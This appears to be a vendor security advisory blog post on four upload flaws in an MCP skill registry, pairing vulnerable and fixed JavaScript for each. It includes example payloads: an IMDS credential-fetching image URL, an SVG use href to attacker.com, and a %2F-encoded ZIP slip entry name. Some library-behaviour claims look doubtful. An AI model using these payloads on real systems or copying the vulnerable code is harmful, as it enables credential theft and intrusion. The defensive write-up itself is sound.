← Blog

Claude MCP skill file upload vulnerabilities — package submission and asset management — SA-SKL-UPLOAD17

File upload handlers in an MCP skill registry process a wide variety of untrusted content: package archives (ZIP files), README documents with embedded image references, SVG icon assets, and binary artifacts. Each processing step — markdown rendering, SVG sanitization, archive extraction, and static file serving — introduces a distinct attack surface. SA-SKL-UPLOAD17 covers four file upload vulnerability patterns: a README image SSRF that probes internal infrastructure during markdown conversion, a stored XSS via unsanitized SVG <use href> attributes, a ZIP bomb that exhausts OS file handles by creating 65535 unique files, and a ZIP slip path traversal that bypasses the directory check by embedding a URL-encoded slash in the archive entry name.

By SkillAudit  |  13 Nov 2026
SA-SKL-UPLOAD17 findings at a glance
HIGHUPLOAD17-001 — Skill package README.md processed by a markdown-to-HTML converter that follows ![](url) image references server-side for inline embedding — attacker crafts an image URL pointing to 169.254.169.254 in the README; the converter fetches the IMDS endpoint and stores the response as an inline data URI in the processed README HTML displayed to all report viewers
HIGHUPLOAD17-002 — SVG icon upload sanitized by stripping <script> tags but not <use href=> attributes pointing to external SVG resources — attacker uploads SVG with <use href="https://attacker.com/evil.svg#xss"/>; when the SVG is rendered in an img tag in the report, browsers fetch the external resource and render any JavaScript in the referenced symbol, achieving stored XSS in the SkillAudit report viewer
HIGHUPLOAD17-003 — Package archive extraction lacks entry count limit — attacker crafts a ZIP file with 65535 entries each with a unique filename; the extractor opens a file handle for each entry simultaneously, exhausting the OS per-process ulimit -n (typically 1024) and causing all subsequent file operations in the worker process to fail with EMFILE: too many open files
CRITICALUPLOAD17-004 — Extracted package directory served via a static file server with directory listing enabled — attacker uploads a ZIP archive with a crafted entry named ../../product/index.html where the path separator is URL-encoded as %2F; the ZIP extractor decodes the entry name before path checking, writing the file to /var/www/product/index.html and overwriting the live landing page

Background: file upload processing as a compound attack surface

MCP skill registry file upload handlers are compound attack surfaces: they receive untrusted binary content, then pass it through multiple processing stages — each of which may trust the previous stage's output too much. UPLOAD17-001 shows how a markdown renderer's image embedding feature, intended to produce better-looking reports, creates an SSRF vector during server-side processing. UPLOAD17-002 shows how SVG sanitization that strips <script> tags but ignores <use href> produces a false sense of security — the sanitized SVG still loads external attacker-controlled resources.

UPLOAD17-003 and UPLOAD17-004 attack the archive extraction layer. ZIP bombs and ZIP slip attacks are well-known but continue to appear in production code because developers implement the obvious checks (file size limit, extension check) without the less-obvious ones (entry count limit, URL-decoded path traversal check). The %2F bypass in UPLOAD17-004 is particularly insidious: the ZIP specification says entry names are raw bytes and the application is responsible for normalization — most path traversal defenses check for literal ../ sequences in entry names but forget that the extractor may URL-decode the name before writing, creating a gap between the check and the write.

Related patterns: SA-SKL-SSRF27 (package analysis SSRF), SA-SKL-INJECTION15 (CI/CD injection), SA-SKL-INJECTION14 (template injection).

UPLOAD17-001 — HIGH — README image URL SSRF via markdown-to-HTML server-side converter

When a skill package is submitted, the registry processes its README.md and converts it to HTML for display in the audit report's documentation section. The converter uses a remark/rehype pipeline with a rehype-img-to-data-uri plugin that fetches each image URL in the README server-side and inlines the image as a base64 data URI. This feature is intended to ensure images display correctly even if the original hosting goes offline. The plugin fetches image URLs without any SSRF guard.

An attacker crafts a README.md with an image reference ![creds](http://169.254.169.254/latest/meta-data/iam/security-credentials/prod-role). The converter fetches the IMDS endpoint and receives the JSON credentials object. It then base64-encodes the JSON and inlines it as a data URI in the src attribute of the img tag: <img src="data:application/json;base64,eyJBY2Nlc3NLZXlJZCI6...">. The base64-encoded credentials appear in the processed README HTML that is stored in the database and rendered in the audit report to all users who view the skill's documentation — including unauthenticated users if the report is public.

The fix is to disable server-side image fetching entirely and instead reference images by their original URLs (which browsers will fetch client-side from GitHub's CDN). If inline embedding is required for specific features, implement a strict SSRF guard on the image fetcher: HTTPS-only, DNS resolve + private IP block, 2MB size limit, and allowlist of approved image CDN hostnames.

Vulnerable
// VULNERABLE — UPLOAD17-001
// processing/readme-converter.js

const { unified } = require('unified');
const remarkParse = require('remark-parse');
const remarkRehype = require('remark-rehype');
const rehypeImgToDataUri = require('rehype-img-to-data-uri');
const rehypeStringify = require('rehype-stringify');

// BUG: rehype-img-to-data-uri fetches ALL image URLs server-side
// Attacker README: "![creds](http://169.254.169.254/latest/meta-data/...)"
// Plugin fetches IMDS, base64-encodes IAM creds, inlines in HTML output
async function convertReadme(markdownText) {
  const result = await unified()
    .use(remarkParse)
    .use(remarkRehype)
    .use(rehypeImgToDataUri)  // BUG: fetches any image URL server-side
    .use(rehypeStringify)
    .process(markdownText);

  return String(result);
}
Fixed
// FIXED — UPLOAD17-001
// processing/readme-converter.js

const { unified } = require('unified');
const remarkParse = require('remark-parse');
const remarkRehype = require('remark-rehype');
const rehypeSanitize = require('rehype-sanitize');
const rehypeStringify = require('rehype-stringify');
const { defaultSchema } = require('rehype-sanitize');

// Remove rehype-img-to-data-uri entirely — do NOT fetch image URLs server-side
// Allow images by URL only; browsers fetch client-side from original host
// If server-side embedding is required, implement fetchWithSsrfGuard() below

const sanitizeSchema = {
  ...defaultSchema,
  attributes: {
    ...defaultSchema.attributes,
    // Allow img src only for HTTPS URLs or data URIs from an approved fetch
    img: [
      ['src', /^https:\/\//],  // HTTPS URLs only; browsers fetch client-side
      'alt',
      'title',
      'width',
      'height',
      'loading',
    ],
    // Block SVG use href entirely — see UPLOAD17-002
    use: [],
  },
  // Disallow SVG elements that could load external resources
  tagNames: (defaultSchema.tagNames || []).filter(t => !['use', 'script', 'iframe', 'object', 'embed'].includes(t)),
};

async function convertReadme(markdownText) {
  // Truncate to prevent DoS via enormous READMEs
  const truncated = markdownText.slice(0, 500 * 1024);

  const result = await unified()
    .use(remarkParse)
    .use(remarkRehype, { allowDangerousHtml: false })
    .use(rehypeSanitize, sanitizeSchema)  // sanitize per schema; no server-side fetches
    .use(rehypeStringify)
    .process(truncated);

  return String(result);
}

UPLOAD17-001 impact: Server-side SSRF via README image references during markdown processing, with the IMDS response base64-encoded and stored in the database as the processed README HTML. The credentials are served to all report viewers (potentially unauthenticated) in the img src attribute. The attack does not require an authenticated session on the target — only the ability to submit a skill package. SkillAudit detects this by identifying markdown processing pipelines that include plugins with names containing img, image, embed, or inline and traces whether those plugins perform server-side HTTP fetches.

UPLOAD17-002 — HIGH — SVG icon XSS via unsanitized use href to external SVG

Skill package icons must be SVG files, which are sanitized before storage and display. The sanitizer strips <script> tags, inline event handlers (onload, onclick, etc.), and javascript: URLs from href attributes. It does not remove <use href="..."> or <use xlink:href="..."> attributes that reference external SVG documents. SVG <use> elements can reference symbols in external SVG documents; if the external document contains a <symbol> with script-equivalent content (foreignObject with a script tag, or an animate element with a begin expression), browsers render it inline in the host document context — achieving cross-origin resource loading and potentially stored XSS.

An attacker uploads an icon SVG containing: <svg xmlns="http://www.w3.org/2000/svg"><use href="https://attacker.com/evil.svg#xss"/></svg>. The sanitizer passes this SVG through (no <script> tag, no event handler). When the icon is rendered in the audit report viewer — which renders SVG inline in the HTML document rather than in an isolated img context — the browser resolves the href attribute, fetches https://attacker.com/evil.svg, and renders the referenced symbol inline. If evil.svg contains a <foreignObject><script>...</script></foreignObject> structure, it executes in the SkillAudit origin's context, achieving stored XSS.

The fix is to either: (1) serve SVGs via an img tag rather than inline (img tags sandbox SVG and block external resource loads); or (2) if inline SVG is required, strip all <use> elements entirely from uploaded SVGs, since inline use references to external documents cannot be safely allowed in a user-submitted SVG context. DOMPurify with a strict configuration that sets FORBID_TAGS: ['use'] provides this.

Vulnerable
// VULNERABLE — UPLOAD17-002
// processing/svg-sanitizer.js

const DOMPurify = require('isomorphic-dompurify');

// BUG: sanitizer strips script tags but not use href to external SVGs
// Attacker SVG: <use href="https://attacker.com/evil.svg#xss"/>
// DOMPurify default config allows <use> elements — external resource load
async function sanitizeSvgIcon(svgString) {
  // Default DOMPurify config — allows  elements including external hrefs
  const clean = DOMPurify.sanitize(svgString, {
    USE_PROFILES: { svg: true, svgFilters: true },
    // Does NOT strip  — only strips script/event handlers
  });
  return clean;
}

// Icon rendered INLINE in HTML — not via img tag
// Inline SVG use href loads external resource in SkillAudit's origin context
app.get('/report/:id/icon', async (req, res) => {
  const icon = await Skill.getIcon(req.params.id);
  res.setHeader('Content-Type', 'text/html');
  res.send(`
${icon.sanitizedSvg}
`); // inline SVG });
Fixed
// FIXED — UPLOAD17-002
// processing/svg-sanitizer.js

const DOMPurify = require('isomorphic-dompurify');

// Strict SVG sanitization: forbid use, script, foreignObject, animate with href,
// and any element that can load external resources
async function sanitizeSvgIcon(svgString) {
  // Reject SVGs larger than 512KB before parsing
  if (Buffer.byteLength(svgString, 'utf8') > 512 * 1024) {
    throw new Error('UPLOAD17-002: SVG icon exceeds 512KB size limit');
  }

  const clean = DOMPurify.sanitize(svgString, {
    USE_PROFILES: { svg: true },

    // CRITICAL: forbid use elements entirely — external SVG references via use href
    // are the primary vector for stored XSS in inline SVG contexts
    FORBID_TAGS: [
      'use',           // UPLOAD17-002: external SVG symbol reference
      'script',        // direct JS execution
      'foreignObject', // embeds HTML/JS within SVG
      'iframe',
      'object',
      'embed',
      'image',         // SVG image element (different from HTML img) loads external resources
      'feImage',       // SVG filter primitive that loads external images
    ],

    // Forbid all href and xlink:href attributes — these can reference external resources
    // in multiple SVG elements (animate, set, use, etc.)
    FORBID_ATTR: [
      'href',
      'xlink:href',
      'action',
      'formaction',
      'src',
    ],

    // Force all URLs in remaining attributes through a URL allowlist
    ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel|callto|cid|xmpp):|[^a-z]|[a-z+.-]+(?:[^a-z+.-:]|$))/i,
  });

  return clean;
}

// Serve icon via img tag — img sandboxes SVG and blocks external resource loads
app.get('/report/:id/icon', async (req, res) => {
  const icon = await Skill.getIcon(req.params.id);
  const svgB64 = Buffer.from(icon.sanitizedSvg).toString('base64');
  res.setHeader('Content-Type', 'text/html');
  // img tag: browser does NOT execute script in loaded SVG content
  // Content-Security-Policy: add img-src data: to your CSP as well
  res.send(``);
});

UPLOAD17-002 impact: Stored XSS in the SkillAudit report viewer origin via an SVG icon's <use href> element loading an attacker-controlled external SVG. The XSS executes in the authenticated report viewer's browser session, allowing cookie theft, account takeover, or malicious actions on behalf of the victim. The sanitizer's false sense of security (it strips <script> tags) makes this vulnerability easy to miss in code review. SkillAudit detects this by scanning SVG sanitization code for the absence of use in the FORBID_TAGS list when SVG content is rendered inline in HTML documents.

UPLOAD17-003 — HIGH — ZIP bomb via 65535 unique-named entries exhausts OS file handle limit

The package archive extractor checks the total compressed and uncompressed sizes of a ZIP archive against configured limits (e.g., 50MB compressed, 200MB uncompressed) but does not limit the number of entries in the archive. An attacker crafts a ZIP archive containing 65535 entries — the maximum for a standard ZIP32 archive — where each entry has a unique filename (e.g., file0001.txt through file9999.txt plus padding) and minimal content (1 byte each). The archive is small (well under size limits) but requires 65535 file open/create operations during extraction.

The extraction code opens a file handle for each entry and writes it to disk. Because the extractor processes entries sequentially but the OS file handle table fills up at the ulimit (typically 1024 for a container process), extraction fails at the 1024th entry with EMFILE: too many open files. The error is propagated to the caller, which may crash the audit worker process entirely rather than rejecting the archive gracefully. With 65535 entries, repeated rapid submissions of this archive can keep the worker in a persistent failure loop, constituting a denial-of-service against the audit queue.

The fix requires adding an entry count limit before beginning extraction — if the ZIP central directory contains more than a configured maximum number of entries (e.g., 1000), reject the archive with an error before opening any file handles. The archiver, yauzl, and unzipper npm packages all allow reading the central directory entry count before extracting, enabling early rejection.

Vulnerable
// VULNERABLE — UPLOAD17-003
// processing/archive-extractor.js

const unzipper = require('unzipper');
const fs = require('fs');
const path = require('path');

// BUG: no entry count limit — ZIP with 65535 entries exhausts OS ulimit
// archive.files.length checked for size but not count before extraction begins
async function extractPackage(zipPath, destDir) {
  const archive = await unzipper.Open.file(zipPath);

  // Size checks present but NO COUNT CHECK
  const totalSize = archive.files.reduce((sum, f) => sum + f.uncompressedSize, 0);
  if (totalSize > 200 * 1024 * 1024) throw new Error('Archive too large');

  // Extracts ALL entries — if count is 65535, opens 65535 file handles
  await archive.extract({ path: destDir });  // BUG: no count limit
}
Fixed
// FIXED — UPLOAD17-003
// processing/archive-extractor.js

const unzipper = require('unzipper');
const fs = require('fs').promises;
const path = require('path');

const MAX_ENTRIES = 1_000;      // reject archives with more than 1000 files
const MAX_TOTAL_SIZE = 50 * 1024 * 1024;    // 50MB uncompressed total
const MAX_ENTRY_SIZE = 10 * 1024 * 1024;    // 10MB per file
const CONCURRENCY = 4;          // extract at most 4 files simultaneously

async function extractPackage(zipPath, destDir) {
  const archive = await unzipper.Open.file(zipPath);

  // COUNT CHECK FIRST — read central directory before opening any entry
  if (archive.files.length > MAX_ENTRIES) {
    throw new Error(`UPLOAD17-003: archive has ${archive.files.length} entries (max ${MAX_ENTRIES})`);
  }

  // Size checks
  const totalSize = archive.files.reduce((sum, f) => sum + f.uncompressedSize, 0);
  if (totalSize > MAX_TOTAL_SIZE) {
    throw new Error(`UPLOAD17-003: uncompressed size ${totalSize} exceeds limit ${MAX_TOTAL_SIZE}`);
  }

  // Extract with controlled concurrency — never open more than CONCURRENCY handles
  const semaphore = new Array(CONCURRENCY).fill(Promise.resolve());
  let slotIdx = 0;

  for (const entry of archive.files) {
    if (entry.uncompressedSize > MAX_ENTRY_SIZE) {
      throw new Error(`UPLOAD17-003: entry ${entry.path} exceeds single-file size limit`);
    }

    // ZIP slip check (see UPLOAD17-004 for full treatment)
    const decoded = decodeURIComponent(entry.path);
    const resolved = path.resolve(destDir, decoded);
    if (!resolved.startsWith(destDir + path.sep)) {
      throw new Error(`UPLOAD17-003/004: ZIP slip detected in entry: ${entry.path}`);
    }

    const slot = slotIdx % CONCURRENCY;
    slotIdx++;

    // Chain onto the least-recently-used semaphore slot
    semaphore[slot] = semaphore[slot].then(async () => {
      await fs.mkdir(path.dirname(resolved), { recursive: true });
      await entry.buffer().then(buf => fs.writeFile(resolved, buf));
    });
  }

  // Wait for all extraction slots to complete
  await Promise.all(semaphore);
}

UPLOAD17-003 impact: Denial-of-service against the audit worker process via file handle exhaustion. After the ulimit is hit, all subsequent file operations in the same process fail with EMFILE — including writes to audit result files, temporary directory creation for other concurrent jobs, and log file writes. Persistent rapid submission of ZIP bombs can keep the worker in an error state requiring restart. SkillAudit detects this by identifying archive extraction code that calls archive.extract(), zip.extractAll(), or equivalent bulk extraction methods without first checking archive.files.length (or equivalent) against a configured limit.

UPLOAD17-004 — CRITICAL — ZIP slip URL-encoded slash bypasses path traversal check to overwrite landing page

The archive extractor checks each entry's filename for path traversal sequences before extraction: it rejects entries whose entry.path contains ../ or starts with /. However, it does not URL-decode the entry path before performing the check, and the unzipper library's internal file write path uses path.join(destDir, entry.path) after first URL-decoding the entry name. The gap between the security check (on the raw, encoded name) and the actual write (on the decoded name) allows the traversal to bypass the check.

An attacker crafts a ZIP archive with an entry named ..%2Fproduct%2Findex.html (where %2F is the URL encoding of /). The security check tests entry.path.includes('../') — the encoded path ..%2Fproduct%2Findex.html does not contain the literal string ../, so the check passes. The unzipper library decodes %2F to / when constructing the output path, producing destDir/../product/index.html, which resolves to /var/www/product/index.html — the live landing page. The extractor overwrites the landing page with the attacker's content.

The correct fix is to URL-decode the entry path before performing the path traversal check, then use path.resolve() and verify that the resolved path starts with the destination directory. Additionally, the static file server must not serve the extraction destination directory directly to the public — extracted content should be processed and stored in a separate, isolated location.

Vulnerable
// VULNERABLE — UPLOAD17-004
// processing/archive-extractor.js — naive path check

const unzipper = require('unzipper');
const path = require('path');

// BUG: path traversal check tests raw entry.path before URL-decoding
// Entry name: "..%2Fproduct%2Findex.html"
// Check: entry.path.includes('../') → FALSE (encoded, not literal ../)
// unzipper internally decodes %2F → writes to ../product/index.html → overwrite!
async function extractPackage(zipPath, destDir) {
  const archive = await unzipper.Open.file(zipPath);

  for (const entry of archive.files) {
    // BUG: check on raw (encoded) path — does NOT catch %2F-encoded traversal
    if (entry.path.includes('../') || entry.path.startsWith('/')) {
      throw new Error(`ZIP slip detected: ${entry.path}`);
    }

    const entryPath = path.join(destDir, entry.path);  // BUG: unzipper decodes %2F here
    // entryPath = /srv/extract/../../product/index.html → overwrite landing page
    await entry.buffer().then(buf => require('fs').promises.writeFile(entryPath, buf));
  }
}
Fixed
// FIXED — UPLOAD17-004
// processing/archive-extractor.js — decode before check

const unzipper = require('unzipper');
const path = require('path');
const fs = require('fs').promises;

async function extractPackage(zipPath, destDir) {
  // Normalize destDir to absolute path with trailing separator
  const sandboxDir = path.resolve(destDir) + path.sep;

  const archive = await unzipper.Open.file(zipPath);

  // COUNT CHECK (see UPLOAD17-003)
  if (archive.files.length > 1000) {
    throw new Error(`UPLOAD17-003: too many entries (${archive.files.length})`);
  }

  for (const entry of archive.files) {
    // DECODE BEFORE CHECK — decode all URL-encoded characters in entry name
    // This catches %2F (slash), %5C (backslash), %2E%2E (dot-dot), etc.
    let decodedPath;
    try {
      decodedPath = decodeURIComponent(entry.path);
    } catch {
      throw new Error(`UPLOAD17-004: invalid URL-encoded entry name: ${entry.path}`);
    }

    // Additional normalization: replace backslashes (Windows ZIP convention)
    const normalizedPath = decodedPath.replace(/\\/g, '/');

    // Block null bytes (can terminate paths in C-based file APIs)
    if (normalizedPath.includes('\0')) {
      throw new Error(`UPLOAD17-004: null byte in entry name: ${entry.path}`);
    }

    // Resolve to absolute path and confirm it is inside the sandbox
    const resolved = path.resolve(sandboxDir, normalizedPath);

    if (!resolved.startsWith(sandboxDir)) {
      throw new Error(
        `UPLOAD17-004: ZIP slip detected — entry ${entry.path} resolves to ${resolved} outside sandbox ${sandboxDir}`
      );
    }

    // Safe to write — path is confined to sandboxDir
    await fs.mkdir(path.dirname(resolved), { recursive: true });

    // Write via streaming with size limit
    const MAX_ENTRY = 10 * 1024 * 1024;
    if (entry.uncompressedSize > MAX_ENTRY) {
      throw new Error(`UPLOAD17-004: entry ${entry.path} exceeds ${MAX_ENTRY} byte limit`);
    }

    await entry.buffer().then(buf => fs.writeFile(resolved, buf));
  }
}

UPLOAD17-004 impact: Arbitrary file write to any path accessible by the extraction worker process. An attacker who overwrites product/index.html replaces the SkillAudit landing page with attacker-controlled HTML — phishing users who navigate to skillaudit.dev, stealing credentials entered on the fake page, and distributing malware via drive-by scripts. If the extraction worker runs as root or with write access to the application directory, the attacker can also overwrite server-side JavaScript files and achieve RCE via code injection on the next server restart. SkillAudit detects this by identifying archive extraction code where the traversal check is performed on entry.path before a decodeURIComponent() call, or where the check uses string contains rather than a resolved path prefix check.

Detection with SkillAudit

SkillAudit's static analysis scans file upload and archive processing code for all four SA-SKL-UPLOAD17 patterns. For UPLOAD17-001, it identifies markdown processing pipelines that include image-fetching plugins and verifies that each fetch goes through an SSRF guard. For UPLOAD17-002, it checks SVG sanitization configurations for the presence of use in FORBID_TAGS and flags its absence when SVG content is rendered inline. For UPLOAD17-003, it identifies archive extraction calls that lack a preceding entry count check. For UPLOAD17-004, it verifies that path traversal checks are performed on the URL-decoded entry name and that the check uses a resolved path prefix comparison rather than a string contains search.

FindingSeverityRoot causeFix
UPLOAD17-001HIGHMarkdown converter fetches image URLs server-side; attacker README contains IMDS URL — credentials inlined as data URI in processed HTMLDisable server-side image fetching; sanitize with rehype-sanitize; serve img tags client-side
UPLOAD17-002HIGHSVG sanitizer strips script tags but not use href to external SVG; inline rendering loads attacker symbol achieving stored XSSFORBID_TAGS: ['use', 'foreignObject', 'feImage']; serve SVG via img tag not inline
UPLOAD17-003HIGHNo entry count limit on ZIP extraction; 65535-entry bomb exhausts OS ulimit — EMFILE crashes workerRead central directory entry count before extraction; reject archives with >1000 entries
UPLOAD17-004CRITICALZIP slip path traversal check on raw (encoded) entry name; %2F-encoded slash bypasses check — write outside sandboxdecodeURIComponent() before check; path.resolve() + startsWith(sandboxDir) enforcement

Related findings: SA-SKL-SSRF27 (package analysis SSRF), SA-SKL-INJECTION15 (CI/CD injection), SA-SKL-PRIVESC8 (privilege escalation in audit result access).

Catch file upload vulnerabilities before they compromise your registry

SkillAudit scans your MCP skill registry for all SA-SKL-UPLOAD17 patterns — README SSRF via markdown image conversion, SVG use href XSS, ZIP bomb file handle exhaustion, and ZIP slip URL-encoded path traversal — and delivers a prioritized fix report in minutes.

Join the waitlist →